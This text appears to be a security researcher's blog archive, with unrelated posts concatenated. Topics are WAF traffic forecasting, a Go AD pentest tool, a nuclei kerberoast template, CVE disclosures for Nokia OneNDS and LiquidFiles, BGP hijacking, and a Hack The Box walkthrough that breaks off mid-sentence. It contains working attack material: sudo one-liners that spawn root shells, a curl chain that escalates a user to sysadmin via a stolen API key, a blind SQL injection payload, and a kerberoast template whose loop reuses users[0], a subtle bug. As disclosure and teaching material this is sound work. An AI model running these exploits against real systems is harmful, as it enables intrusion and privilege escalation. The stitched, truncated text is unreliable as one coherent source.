TL;DR — SARIMA is a good first idea for forecasting WAF traffic, but the peaks a bank cares about (pension day, payday, tax deadlines, holidays) don’t repeat on a fixed lag, so SARIMA misses exactly the days you built it for. Put the calendar into the model as regressors and keep ARIMA only for the leftover noise. Model attack traffic separately, as counts, and split it into the part you can predict and the part you can only detect.

Most WAF configurations I come across during assessments are static: a rate limit of N requests per minute per IP, an anomaly threshold someone set in 2019, an autoscaling policy that reacts after CPU is already at 90%. But traffic to a home banking platform is anything but static. In Italy, for instance:

• pensions are credited around the first banking day of the month, and a lot of people log in that morning to check they arrived;
• salaries typically land around the 27th;
• F24 tax payments are due on the 16th;
• December stacks the tredicesima (the 13th monthly payment) on top of everything else, while bank holidays and August empty the platform.

Attackers know this calendar too. Account takeover and smishing campaigns (“your pension payment is on hold, click here”) cluster around the days when accounts are funded and victims expect a message from their bank.

So the pitch is: if the WAF already sees every request, why not have it forecast the next month of traffic, and use that forecast to pre-scale, set rate limits and alert thresholds that follow the calendar, and tell “busy pension day” apart from “something is wrong”? The textbook tool for a series with a weekly rhythm is a seasonal ARIMA (SARIMA) model.

I wanted to see whether SARIMA actually holds up for this, so I tried to break it.

About the data: I don’t have (and couldn’t publish) a bank’s WAF logs, so everything below runs on synthetic data from a simulator built to have the calendar effects described above. The numbers show mechanisms, not real-world accuracy. The whole thing is one script, waf-forecast-sim.py: replace its simulate() with an export of your own logs and the same backtest runs on real data.

What a forecast buys you at the WAF

Before the statistics, here’s why it’s worth the effort. A traffic forecast with a prediction interval (the range the model expects the real value to fall in, at a stated probability) gives you:

1. Capacity planning that runs ahead of demand. Scale the origin and the WAF tier the night before the 1st of December instead of during it.
2. Rate limits and thresholds that follow the calendar. Instead of “alert above 3M requests/day”, alert above the upper bound of what we expected for today. 4M requests is normal on pension day and suspicious on a Sunday in August, and a fixed threshold can’t tell those apart.
3. Proactive anti-fraud posture. If you know the ATO wave comes with the pension, you can turn on step-up authentication, stricter bot challenges on /login and tighter velocity checks on new payees before it starts.
4. Better anomaly detection. The residual (observed minus expected) is a much cleaner signal than the raw count, because the calendar has already been subtracted out.
5. Operations. Change freezes, SOC staffing and on-call coverage on the days that matter.

All five depend on the forecast being right on the peak days. Being accurate on an ordinary Wednesday is easy and not worth much.

SARIMA in five minutes

ARIMA models a series as a combination of its own past values (the AR part, order p), past forecast errors (the MA part, order q), after differencing d times to remove trends. SARIMA adds the same three ingredients at a seasonal lag s, so for daily traffic with a weekly rhythm, s = 7 and “this Monday” is explained partly by “last Monday”:

SARIMA(p,d,q)(P,D,Q)s

  φ(B) Φ(Bˢ) (1−B)ᵈ (1−Bˢ)ᴰ log(yₜ) = θ(B) Θ(Bˢ) εₜ

  B      backshift operator, B·yₜ = yₜ₋₁
  φ, θ   non-seasonal AR / MA polynomials
  Φ, Θ   seasonal AR / MA polynomials at lag s

I model log(requests) rather than raw requests because the effects are multiplicative (pension day is “+40%”, not “+800k”), and because the log keeps the variance roughly constant as traffic grows.

On the simulated data, a grid search by AIC picks SARIMA(2,0,1)(0,1,1)₇, i.e. weekly seasonal differencing plus a seasonal MA term. For a weekly series that’s a perfectly reasonable textbook model.

The (synthetic) home banking platform

Three years of daily traffic, 2023–2025, built from:

The weekly sawtooth is SARIMA’s home turf. The spikes are the problem.

Where SARIMA breaks

1. A month is not a season

SARIMA has one seasonal lag s, and it has to be a fixed number of observations. Weekly is fine: a week is always 7 days. But pension day is “the first banking day of the month”, which in 2025 falls on:

Thu 02 Jan · Mon 03 Feb · Mon 03 Mar · Tue 01 Apr · Fri 02 May · Tue 03 Jun
Tue 01 Jul · Fri 01 Aug · Mon 01 Sep · Wed 01 Oct · Mon 03 Nov · Mon 01 Dec

gaps (days): 32 28 29 31 32 28 31 31 30 33 28

There’s no s that lines those up. Set s = 30 and “the same day last month” lands on the previous pension day exactly once in 2025 (1 September → 1 October). Every other month it’s one to three days off, which is the difference between the peak and an ordinary day. The payday (27th, moved back to Friday when it falls on a weekend) and the F24 deadline (16th, moved forward) have the same problem, in opposite directions. Easter changes date every year. To SARIMA, all of these look like noise.

2. Seasonal differencing copies shocks forward

(1 − B⁷) means “model the change from last week”. This works well on ordinary weeks, but when the model is fed real data day by day, a one-off event becomes part of the “last week” that next week is forecast from. The seasonal MA term is supposed to absorb this, but it can only partly cancel a spike it has no explanation for. The attack-traffic section below shows the result: SARIMA’s alert threshold jumps the day after a burst, exactly when you’d want it to be strict.

3. Holidays look like random dips

8 December, Christmas and Easter Monday get forecast as ordinary weekdays, because nothing in the model says they’re holidays.

The backtest

Every month from July to December 2025, each model is fit on all data up to the last day of the previous month and forecasts the whole next month (up to 31 days ahead, which is the horizon that matters for capacity planning). The seasonal naive baseline just repeats the last observed week. Any model has to beat it to be worth running.

MAPE = mean absolute percentage error. “Top-5 days identified” = overlap between each month’s five busiest forecast days and its five busiest actual days.

SARIMA beats the naive baseline overall, but on the event days it’s worse than the naive baseline, and those are the days the forecast was built for. December shows why:

On 1 December (pension + tredicesima) SARIMA forecasts 3.1M requests against 4.8M actual, a 36% underestimate on the busiest day of the year (the calendar-aware model below says 5.0M). It also forecasts a normal Monday on the 8th (a bank holiday), a normal Wednesday on the 24th (payday), and normal weekdays over Christmas.

A better model: put the calendar in the model

The fix is not a cleverer ARIMA. It’s to stop asking ARIMA to discover the calendar and tell it the calendar instead. This is a regression with ARIMA errors (also called dynamic regression, or SARIMAX with exogenous regressors):

log(yₜ) = β₀ + β₁·t                                  trend
        + Σ γ_d · DOWₜ,d                              day of week
        + Σ [aₖ sin(2πk·doyₜ/365.25) + bₖ cos(...)]   yearly shape, k = 1..4
        + δ_H · holidayₜ
        + Σ_{j=−1..2} δ_P,j · pensionₜ₋ⱼ              pension window
        + δ_D · (pensionₜ × Decemberₜ)                tredicesima
        + Σ_{j=−1..2} δ_S,j · paydayₜ₋ⱼ               payday window
        + Σ_{j=−1..0} δ_F,j · f24ₜ₋ⱼ                  tax deadline window
        + uₜ

uₜ ~ ARMA(1,1)                                         whatever is left

What changes:

• Event windows, not event days. Each event is a set of dummies for j days before and after it, so the model learns the shape (anticipation, peak, decay) rather than a single spike.
• Events are computed from rules, not from lags. “First banking day of the month” is a function of the calendar, so it’s right whether the month has 28 or 31 days.
• Yearly seasonality as Fourier terms, not a 365-lag SARIMA (which would be numerically painful and would need several years of data per coefficient).
• ARIMA is demoted to modeling the residual, the short-term autocorrelation the calendar doesn’t explain. That’s what it’s good at.

In statsmodels it’s the same SARIMAX class, with an exog matrix:

from statsmodels.tsa.statespace.sarimax import SARIMAX

X = design(calendar)          # const, trend, DOW, Fourier, event windows
model = SARIMAX(np.log(y[train]), exog=X[train], order=(1, 0, 1))
fit = model.fit(disp=False)

# the future calendar is known in advance, so exog for the horizon is too
fc = fit.get_forecast(steps=31, exog=X[next_month])
upper = np.exp(fc.conf_int(alpha=0.05).iloc[:, 1])

One gotcha: put the constant in exog, not in trend="c". With the intercept inside the ARMA part, the AR coefficient drifted to 0.996 and absorbed the level, and the forecasts were off by 40%.

The other advantage is that the coefficients mean something. Fit on data up to November 2025, the model recovers the simulated effects:

On real data, that table is something you can hand to the capacity planning and fraud teams as is: “pension day is +42%, and in December it’s +66%.”

Calibrate the interval before you alert on it. Both models cover the actual value 90% of the time with a nominal 95% interval. Month-ahead forecast intervals in statsmodels don’t account for uncertainty in the estimated parameters, so they come out too narrow. Before an upper bound becomes a rate limit or an alert threshold, check its coverage on a backtest and widen it until it matches the nominal rate (a split-conformal correction on recent residuals is the cheapest way to do that).

What about hourly data?

Rate limits and autoscaling usually work at minute or hour resolution. With hourly data you have two seasonal periods, 24 and 168, and SARIMA can only handle one of them, and s = 168 is slow and unstable to fit. The same recipe still works: Fourier terms for both the daily and the weekly cycle plus the calendar regressors and ARMA errors. Alternatively, forecast at daily resolution with the model above and spread each day over hours using an intraday profile learned separately for each type of day (weekday, weekend, pension day). MSTL, TBATS and Prophet (which has the holiday-window idea built in) are reasonable alternatives if you’d rather not hand-roll it.

Attack traffic is a different animal

Now the more interesting half: can we predict attack peaks? Some of them. Treating blocked requests as one series and running SARIMA on it misses the point, because WAF-blocked traffic is (at least) three processes with very different behavior added together:

So the realistic goal is: forecast the predictable part, and detect the unpredictable part against it.

The counts also aren’t log-normal: they’re overdispersed counts (the variance is much larger than the mean, more than a Poisson distribution allows), and bursts tend to come back the next day. A model that fits that shape is a negative binomial regression with the same calendar regressors plus a lag term for that self-excitation (a cheap stand-in for an INGARCH/Hawkes process):

blockedₜ ~ NegBin(μₜ, α)

log(μₜ) = β₀ + β₁·t + Σ δ · calendarₜ + ρ · log(1 + blockedₜ₋₁)

The alert threshold is the 99.5% quantile of that distribution, computed one day ahead. Two details made a real difference:

• Robust refit. Past campaigns inflate the estimated dispersion α, which widens the threshold and hides the next campaign. Fit once, drop the in-sample days that exceed the threshold, refit.
• The pension wave is expected, so it isn’t an alert. The threshold rises on pension days because the model knows the ATO wave is coming. That’s not a blind spot: the same coefficient (+55% blocked traffic on pension day, another +51% in December) is what you use to tighten /login controls in advance.

One-day-ahead over all of 2025, against 11 injected campaigns:

The difference here is smaller than for legitimate traffic, and I don’t want to oversell it: for one-step-ahead detection SARIMA holds up reasonably well. The difference is in the shape of the threshold:

• The SARIMA threshold sits ~28% higher on a typical day, so smaller campaigns pass under it (the 13 June one at ~98k is caught by the NB model and missed by SARIMA).
• It jumps the day after every burst: the attack becomes part of “last week”, so a second wave that arrives while the threshold is up goes unnoticed.
• The NB threshold rises only where the calendar says it should: the small blue bumps on 3 June, 1 July and 1 August are pension days.

Putting it in production

Things I’d watch out for:

• Model per endpoint, not per site. /login, /payments and static assets have different peaks and different attackers. A site-wide aggregate hides an ATO wave under the morning rush.
• Keep the training data clean. The legitimate-traffic model should be trained on traffic that was allowed and not flagged later by fraud detection. Otherwise every attack you missed becomes part of “normal”.
• Baseline poisoning is a real attack. An adversary who ramps up slowly can drag an adaptive baseline up with them (the “boiling frog”). Cap how fast the level and trend may move between refits, keep a frozen reference model to compare against, and have a human review big coefficient changes.
• The calendar is now code, and it needs maintenance. Payment schedules change (during COVID, pension payouts at Italian post offices were staggered over several days), new holidays appear, and marketing campaigns or app releases are events too. Whoever owns the calendar table owns forecast accuracy.
• Watch interval coverage, not just error. If the 99.5% bound starts getting exceeded 3% of the time, either attacks are up or the model is stale, and both need someone to look.

The model I’d actually propose

To sum up the challenge to plain SARIMA:

None of this is exotic: it’s still SARIMAX from statsmodels, still fits in seconds, and still explainable to an auditor. The only change is that the model is told about the calendar instead of having to discover it.

If you run the script against real WAF exports, I’d love to hear how far the real numbers are from the synthetic ones, especially for the attack side, where I’d expect real campaigns to be much less polite than my lognormal bursts. 🙂

Update, April 2026: mandiant/gopacket just dropped — a complete Go port of impacket, 63 CLI tools and 24 libraries, single dependency-free binary. Everything I hand-rolled below to fill that exact gap is now more or less redundant 🙂. Leaving the post up as a record of the “before” times.

If you’ve ever done an internal AD pentest, NetExec (the CrackMapExec fork that keeps it alive) is probably the second thing you open after nmap. Spray creds across a subnet, pop a shell over SMB, dump LDAP, kerberoast — one tool, one Python venv, done.

I’ve been staring at that codebase for a while thinking “this would be so much nicer as a single static binary”, so a few months ago I started GoAD — a learning project to rebuild the same core loop (auth against a target, then do something to it) in Go.

This one broke me a little

The pitch sounds simple: “execute a command on a remote Windows machine.” In Python this is a solved problem, impacket gives you SMB, MSRPC, Kerberos and NTLM all wired together already. In Go, there is no impacket. There’s a decent SMB client here, a partial NTLM implementation there, nothing that speaks MS-RPCE, and nothing that ties them together the way you need to actually authenticate, open a named pipe, bind to a DCE/RPC interface and drive it.

So pkg/ ended up as its own little impacket-in-miniature:

• pkg/auth/providers/ntlm — NTLMv2 negotiate/challenge/authenticate, written by hand
• pkg/kclient — a Kerberos client (AS-REQ/AS-REP, TGS-REQ/TGS-REP) for kerberoasting and AS-REP roasting
• pkg/dcerpc — MSRPC bind/request over named pipes, plus scmr.go implementing enough of MS-SCMR (RCreateServiceW, RStartServiceW, RDeleteService, …) to create and run a service remotely
• pkg/encoder — because none of the above have a native Go wire format, this hand-rolls UTF-16LE and UUID (mis)marshaling

None of these exist as reusable Go packages elsewhere (or didn’t when I went looking), so most of the “development” was really reverse-engineering wire captures and cross-checking against the MS-SMB2/MS-RPCE/MS-SCMR specs. Help is wanted (and kinda needed) if anyone wants to make any of this less broken.

What actually works

The CLI is one binary, one subcommand per protocol:

go install -v "github.com/5amu/goad/cmd/goad@latest"

// cmd/goad/main.go
ftp   "Own stuff using FTP"
ldap  "Own stuff using LDAP"
krb5  "Own stuff using KERBEROS"
smb   "Own stuff using SMB"
ssh   "Own stuff using SSH"
vnc   "Own stuff using VNC"
// mssql, rdp, winrm, wmi: wip / disabled — winrm in particular got ripped
// out again after fighting with it for a day

smb -x is the one I actually cared about getting right — command execution the old psexec/smbexec way: open the C$ share, talk MSRPC over \PIPE\svcctl, RCreateServiceW a service pointing at cmd.exe /c <command>, start it, read the output back, clean up.

Shares bool   `long:"shares" description:"list open shares"`
Exec   string `short:"x" long:"exec" description:"execute a command by creating a service via RPC"`
Client bool   `long:"client" description:"Open a client to the remote machine"`

ldap ended up more fully-featured than I expected going in — full UAC-flag filtering (--trusted-for-delegation, --dont-require-preauth, --password-never-expires, …), --gmsa password retrieval, --add-computer/--del-computer, and the two I wanted since the nuclei AD module post:

Hashes struct {
    AsrepRoast string `long:"asreproast" description:"Grab AS_REP ticket(s) parsed to be cracked with hashcat"`
    Kerberoast string `long:"kerberoast" description:"Grab TGS ticket(s) parsed to be cracked with hashcat"`
} `group:"Hash Retrieval Options" description:"Hash Retrieval Options"`

krb5 does username enumeration by abusing KDC_ERR_PREAUTH_REQUIRED vs. “no such principal” AS-REQ responses, plus credential bruteforcing in clusterbomb or pitchfork mode. There’s also an early --responder mode hiding behind a “(testing)” label in the help text that just captures NTLM hashes off the wire — nowhere near Responder-the-tool, but the skeleton is there.

Everything routes through the standard proxy env vars, so export ALL_PROXY="socks5://127.0.0.1:1080" is enough to run the whole thing through a pivot without any extra flags.

Closing thoughts

This is very much a “still in heavy development, don’t expect production-grade anything” project — I broke SMB support at least twice this month alone rewriting the encoder. But the fact that smb -x reliably gets a shell on a domain-joined box using nothing but the standard library and a handful of hand-written protocol packages feels like a good milestone to write down. If you know Go and have ever been curious about what’s actually inside MS-RPCE, the repo could use the company 🙂.

(Nuclei is a) fast and customisable vulnerability scanner based on simple YAML based DSL.

At the time of writing, there are many templates aiming to identify many CVEs and many generic known and unknown vulnerabilities, but version 3 of nuclei brought us “the javascript protocol”.

Some network exploits are very complex to write due to nature of the protocol or exploit itself. […] Detection for these exploits is usually written in Python but now can be written in JavaScript.

The javascript protocol allows the user to write templates using a javascript-like syntax, but taking advantage of exported functions from Go code:

let m = require('nuclei/ssh');
let c = m.SSHClient();
let state = c.Connect('localhost', 22, 'user', 'password');
let result = c.Close();

Very cool, why are you telling me this?

I got carried on recently by the possibilities of this new approach and made changes to 3 of the modules exposed by the javascript protocol:

1. SSH (#4407)
2. Kerberos (#4420, #4422, #4647)
3. LDAP (#4667)

But wait, this article is not just a flex 😉, I will give you (useful) information on what can be done and leave with 2 templates that you can use in your environment!

About the SSH module

The change I made in the module is simple, yet effective: it allows you to execute code over an SSH connection. This can be used to run local checks on remote machines, which is something that a security professional usually does running linpeas, linenum and whatnot…

Imagine having a good set of templates and running them on 10, 100 or even 1000 IP addresses to find the same vulnerability on multiple hosts:

id: permit-root-login

info:
    name: "Permit Root Login SSH"
    author: 5amu
    severity: high

javascript:
    - args:
        SSHServer: ""
        Path: ""

      threads: 1    
      payloads:
        path:
          - "/etc/ssh/sshd_config"

      code: |
        var ssh = require("nuclei/ssh");
        var c = ssh.SSHClient();
        
        c.Connect(SSHServer, Port, template.Username, template.Password)
        c.Run("grep '^PermitRootLogin yes' " + Path)

      stop-at-first-match: true
      matchers:
        - type: dsl
          name: ""
          dsl:
            - "success == true"

This is a simple template to find *nix machines where the root account can login via password authentication using ssh!

About the Kerberos module

The changes introduced into the kerberos module allow the templates to request service tickets when talking to a domain controller, the improvements concern dependencies’ optimizations too. The syntax to get a service ticket (formatted for hashcat) is very simple:

var krb = require("nuclei/kerberos");
var client = krb.Client(template.Domain, DomainController);
var tgs = client.GetServiceTicket(template.Username, template.Password, users[0].ServicePrincipalName[0]);

// tgs.Hash contains the string crackable with hashcat :)

For the most curious of you, the way in which is formatted is the following:

func TGStoHashcat(tgs messages.Ticket, username string) (string, error) {
	return fmt.Sprintf("$krb5tgs$%d$*%s$%s$%s*$%s$%s",
		tgs.EncPart.EType,
		username,
		tgs.Realm,
		strings.Join(tgs.SName.NameString[:], "/"),
		hex.EncodeToString(tgs.EncPart.Cipher[:16]),
		hex.EncodeToString(tgs.EncPart.Cipher[16:]),
	), nil
}

About the LDAP module

Here there are the most contributions… This is the full list of features I implemented:

Basically this allows a template to connect to an ldap server and query using whatever filter and getting whatever attribute, but I also added some “utility” methods to retrieve specific stuff from active directory, such as:

// ADObject represents an Active Directory object
type ADObject struct {
	DistinguishedName    string
	SAMAccountName       string
	PWDLastSet           string
	LastLogon            string
	MemberOf             []string
	ServicePrincipalName []string
}


// FindADObjects finds AD objects based on a filter
// and returns them as a list of ADObject
FindADObjects(filter string) []ADObject

func GetADUsers() []ADObject
func GetADActiveUsers() []ADObject
func GetADUserWithNeverExpiringPasswords() []ADObject
func GetADUserTrustedForDelegation() []ADObject
func GetADUserWithPasswordNotRequired() []ADObject
func GetADGroups() []ADObject
func GetADDCList() []ADObject
func GetADAdmins() []ADObject
func GetADUserKerberoastable() []ADObject
func GetADDomainSID() string

These methods can be used in conjunction with the kerberos module to perform more complex attacks, such as kerberoasting (example in next chapter) and the generic method:

// Search accepts whatever filter and returns a list of maps having provided attributes
// as keys and associated values mirroring the ones returned by ldap
// Signature: Search(filter, attributes...)
func Search(filter string, attributes ...string) []map[string][]string

Allows the template to define its own filter and request whatever attribute it desires.

The kerberoast template

As promised, this is the nuclei template to perform a (almost) complete kerberoast attack without leaving nuclei:

id: kerberoast

info:
  name: Kerberoast
  author: 5amu
  severity: info

javascript:
  - args:
      DomainController: ""

    code: |
      var ldap  = require("nuclei/ldap");
      var lc    = ldap.Client("ldap://" + DomainController + ":389", template.Domain);
      
      lc.Authenticate(template.Username, template.Password)
      var users = lc.GetADUserKerberoastable();

      var krb = require("nuclei/kerberos");
      var client = krb.Client(template.Domain, DomainController);

      var tickets = [];
      for (let i=0; i<users.length; i++) {
        var t = client.GetServiceTicket(template.Username, template.Password, users[0].ServicePrincipalName[0]);
        tickets.push({
          "Name": users[i].SAMAccountName, 
          "Hash": t.Hash,
        });
      }
      to_json(tickets);

    extractors:
      - type: json
        json:
          - '.[] | "\(.Name) => \(.Hash)"'

Closing Thoughts

The future in which will be possible to automate the most common attacks on active directory is near, the technical knowledge required to get into this world (ad pentesting) will decrease even more over time. Companies (hopefully) will implement all measures to cut off these low hanging vulnerabilities and the exploit complexity will spike, but for now there is still time to play 😊.

Me and 3 colleagues (Giacomo Sighinolfi, Milena Mangiola, Savino Sisco) found this vulnerability while testing telco assets in the backbone network.

Nokia OneNDS is a network directory server product. Some of its built-in administrative roles are granted sudo rights over binaries that were never designed to be run with elevated privileges safely. Each of these binaries has a well known GTFOBins technique that lets a local user with the corresponding sudo entry break out to a root shell, turning a limited administrative role into full root on the system.

This vulnerability was credited by MITRE with id: CVE-2022-31244.

• Product: Nokia OneNDS 17
• Vulnerability type: Security Misconfiguration
• Severity: High
• CVSS Score: 7.8
• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Found on: 31/03/2022

We disclosed this to Nokia through their responsible disclosure program.

Affected roles

Three built-in OneNDS roles grant sudo access to binaries that can be abused to spawn a root shell or read arbitrary files as root.

ONENDS_CC_BASIC_ADMIN

This role can run /sbin/service via sudo.

sudo /sbin/service ../../bin/sh

ONENDS_CC_SERVICE_ADMIN

This role can run /bin/rpm via sudo.

sudo /bin/rpm --eval '%{lua:os.execute("/bin/sh")}'

ONENDS_CC_NETWORK_MANAGEMENT

This role can run /sbin/ip and /sbin/arp via sudo, both of which support reading arbitrary files as root through their batch-file parsing mode.

sudo /sbin/ip -force -batch 'file_to_read'
sudo /sbin/arp -v -f 'file_to_read'

Impact

Any user assigned one of the three roles above only needs local access to the system to escalate to root and execute arbitrary commands, fully compromising the confidentiality, integrity, and availability of the host.

Conclusion

Sudo rules that whitelist a binary by path alone, without also constraining the arguments that can be passed to it, are a recurring source of privilege escalation. All three of these techniques are documented, generic GTFOBins patterns — the underlying binaries were never the problem, granting unrestricted sudo access to them was.

Sometimes, during security assessments and penetration tests an in-depth analysis of the Autonomous Systems security posture and BGP routes is overlooked. Here’s my deep dive into a long forgotten protocol on which the internet is built upon.

Nameservers and the Domain Name System

A nameserver is a server that hosts a DNS (Domain Name System), which is an application that runs on the nameserver responsible for translating (resolving) human readable names (such as www.example.com) to the corresponding IP address(es) associated with it.

For semplicity sake, in this article we will consider IPv4 only, but the can be applied to IPv6 as the process is exacly the same for the most part.

This is a simplified overview, but this is not the place to discuss this topic in more details, please do your own research.

Autonomous Systems

To provide a more comprehensive assessment of DNS zones for every nameserver in scope, the idea was to provide some edge case example that could invalidate at least one implemented security measure. Let’s analyze the process:

1. A name server is asked an IP corresponding to the domain requested. (eg:example.com)
2. The nameserver, which has an IP itself, answers the request.

    # Example request to example.com to Google's DNS (ns.google.com)
    # the answer is: example.com has IP 93.184.216.34
    $ dig example.com +noall +answer @ns.google.com
    example.com.		83860	IN	A	93.184.216.34
   

3. The client who asked for the IP address simply visits the IP address and trusts the DNS.

In this process, the validity of the IP address is never questioned. Is there a security measure to guarantee that that IP address will really bring me to the legitimate example.com?

Short answer: there is, but not everyone implements it.

When an IP has to be routed to the correct server the entire world, in the context of public internet, relies on massive public and private owned routers that send the received requests to the hopefully intended next-hop.

These massive routers and relative subnets are called Autonomous Systems.

The Border Gateway Protocol

Bastion routers implement BGP (Border Gateway Protocol) because internet is a network of networks, or a network of autonomous systems.

BGP is the protocol that allows gateways to know where to send a packet when a certain IP address is requested. Typically, the smallest range of public IPs that a border gateway running BGP can advertise is a C class address range, having at least 254 IPs in the network.

A powerful computer (BGP router), placed inside an important datacenter, could theoretically start to advertise subnets that should not be handled by it. One could configure a computer with the purpose of effectively stealing a company routes.

BGP has not a secure method to establish if a particular server is authorized to present itself with a particular IP address, that is why it is so important that the ones responsible for an IP address make sure that the subnets are advertised correctly. This is done using workarounds to make the protocol secure.

The most effective workaround is RPKI (Resource Public Key Infrastructure) to extend the IRR (Internet Routing Registry). Basically, RPKI is a cryptographically signed entry associated with a route prefix and an autonomous system. To trust a route coming from an autonomous system, a BGP router should check if the RPKI is signed from the correct entity, if the autonomous system has the correct number and if it is authorized to advertise that route. A practical example with google.com:

$ dig google.com              
...
google.com.		99	IN	A	142.250.184.4
...

$ whois 142.250.184.46                                                                                               
...
NetRange:       142.250.0.0 - 142.251.255.255
CIDR:           142.250.0.0/15
NetName:        GOOGLE
...
OriginAS:       AS15169
...

You can validate a route’s RPKI status yourself with Cloudflare’s RPKI validator, passing it the prefix and origin AS number you want to check.

Failing to configure this entry to validate the advertised routes might result in an accidental, or intentional BGP Hijacking, which has major consequences for businesses and government infrastructures, some examples are:

• 2022 Twitter traffic … tunneled through Russian ISP …
• 2022 KlaySwap crypto users lose funds after BGP hijack
• 2017 Popular Destinations rerouted to Russia
• 2016 Large hijack affects reachability of high traffic destinations
• 2015 Large scale BGP hijack out of India

Exploit RPKI Misconfigurations

While this is a theoretical exercise, it would be absolutely possible to exploit an unsigned route to effectively steal a subnet for a short amount of time, which sometimes is enough to deal much damage to a business.

Kenneth Finnegan is a (legendary) engineer who made an exercise, as an individual, to set up and deploy a BGP router borrowing some IP addresses from a friend and demonstrating how it would be possible (and sort of easy) to start being an autonomous system with a border gateway. His journey is described in this blog post.

Looking at this information with the eyes of a very motivated threat actor, possibly state sponsored, it would be trivial to exploit this unsecured opening to unleash all kinds of attacks: credential stealing, fund stealing, social engineering, service denial, man in the middle attacks… etcetera.

Conclusions

While state owned assets are not usually misconfigured, many critical businesses are. A BGP misconfiguration might lead to a brutal denial of service in the best case, but in a consistent loss of funds AND a denial of service in the worst case.

Many businesses are vulnerable. Many are not exploited because they never had a motivated and knowledgeable attacker that was willing to risk this kind of attack.

Me and 2 other collegues were performing a test for our customers and we discovered a Privilege Escalation from “User Admin” user to “System Administrator” user on LiquidFiles framework.

LiquidFiles is a secure file transfer system for person-to-person email communication. Using LiquidFiles API, a “User Admin” user could list all the application registered users, retrieving information such as their API keys, including those of the System Administrators.

As per LiquidFiles documentation, API key is used as HTTP basic authentication in order to authenticate to the LiquidFiles system. A malicious “User Admin” user, by using a “System Administrator”’s API key, can obtain the role of System Administrator and can administer all aspects of the LiquidFiles system.

The impact of a successful attack includes: obtaining access to all aspects of the LiquidFiles system of the application via the System Administrator API key.

This vulnerability was credited by MITRE with id: CVE-2021-43397 and the original publication is hosted on packet storm.

Proof of Concept

1. Get the API key of your own user-admins user

    cURL Request:
    curl -X POST -H "Accept: application/json" -H "Content-Type: application/json" -d '{"user":{"email":"[user-admins_user_mail]","password":"[CENSORED]"}}' https://[CENSORED]/login
       
    Response:
    {"user":{"api_key":"[user-admins_user_API_key]"}}
   

2. Get a sysadmins’ API key

    cURL Request:
    curl -s -X GET --user "[user-admins_user_API_key]:x" -H "Accept: application/json" -H "Content-Type: application/json" https://[CENSORED]/admin/users
   
    Response:
    [TRUNCATED]
    {"user":
    {
        "id": "[CENSORED]",
        "email": "[CENSORED]",
        "name": "[CENSORED]",
        "group": "sysadmins",
        "max_file_size": 0,
        "filedrop": "disabled",
        "filedrop_email": "disabled",
        "api_key": "[sysadmins_user_API_key]",
        "ldap_authentication": "false",
        "locale": "",
        "time_zone": "",
        "strong_auth_type": "",
        "strong_auth_username": "",
        "delivery_action": "",
        "phone_number": "",
        "last_login_at": "2021-10-29 10:02:11 UTC",
        "last_login_ip": "[CENSORED]",
        "created_at": "2020-06-30 10:49:38 UTC"
    }
    },
    [TRUNCATED]
   

3. Modify the group of your own user-admins user from “user-admins” to “sysadmins”

    cURL Request:
    cat <<EOF | curl -s -X PUT --user "[sysadmins_user_API_key]:x" -H "Accept:
    application/json" -H "Content-Type: application/json" -d @- https://
    [CENSORED]/admin/users/<user-admins_user_id>
    {"user":
    {
        "name": "[user-admins_user_name]",
        "group": "sysadmins"
    }
    }
    EOF
   
    Response
    {"user":
        {
            "id": "[CENSORED]",
            "email": "[CENSORED]",
            "name": "[CENSORED]",
            "group": "sysadmins",
            "max_file_size": 0,
            "filedrop": "disabled",
            "filedrop_email": "disabled",
            "api_key": "[CENSORED]",
            "ldap_authentication": "true",
            "locale": "",
            "time_zone": "",
            "strong_auth_type": "",
            "strong_auth_username": "",
            "delivery_action": "",
            "phone_number": "",
            "last_login_at": "2021-11-03 13:31:58 UTC",
            "last_login_ip": "[CENSORED]",
            "created_at": "2021-03-03 11:48:37 UTC"
        }
    }
   

4. Verify that your own user-admins user is now a sysadmins one.

    cURL Request
    curl -X GET -H "Accept: application/json" -H "Content-Type: application/json" --user [user-admins_user_API_key]:x https://[CENSORED]/admin/users/<user-admins_user_id>
   
    Response
    {"user":
        {
            "id": "[CENSORED]",
            "email": "[CENSORED]",
            "name": "[CENSORED]",
            "group": "sysadmins",
            "max_file_size": 0,
            "filedrop": "disabled",
            "filedrop_email": "disabled",
            "api_key": "[CENSORED]",
            "ldap_authentication": "true",
            "locale": "",
            "time_zone": "",
            "strong_auth_type": "",
            "strong_auth_username": "",
            "delivery_action": "",
            "phone_number": "",
            "last_login_at": "2021-11-03 13:34:36 UTC",
            "last_login_ip": "[CENSORED]",
            "created_at": "2021-03-03 11:48:37 UTC"
        }
    }
   

Mitigation and Remediation

To mitigate this vulnerability, the solution is to disable API calls for “Admins” group. Nevertheless, it is suggested to update the solution, as LiquidFiles released an official patch in version 3.6.3.

Conclusion

It was great to discover this vulnerability and very satisfying to be awarded a CVE, I could get used to it 😉. If you want a better article for this CVE, look at the one from my collegue here.

ports=$(sudo nmap -p- --min-rate=1000 -T4 10.10.10.195 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
sudo nmap -sC -sV -oN nmap/scan -p $ports 10.10.10.195
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
|   256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_  256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...

Going to the website, we see:

Which says that we can login with credentials guest:guest, and gives us a link to download the source code of the web application (http://10.10.10.195/src.zip).

Analyzing the source code, we can see that when we login, the webapp creates a salted hash for our password

Then puts that in a field called “secret”, which, combined with the username, and re-encoded like this

Gives us the session. Then, this session is re-encoded and signed like this

Gives us the cookie. And now, thanks to some SQL (sqlite3 is used, reading source code) magic injections taken from this reference, we can see that the field “message” in /submitmessage is vulnerable to injections. Now, looking at the is_admin function, we can see

The admin user has a field “role” that equals 1. It is a field in the database, so we can exploit this information to make some SQL injection magic to retrieve the admin’s secret! The query will be this one:

' AND (select CASE WHEN ( (SELECT hex(substr(secret,0,1)) FROM users WHERE role=1) = hex('f') ) then match(1,1) END ))--

And the answer will be:
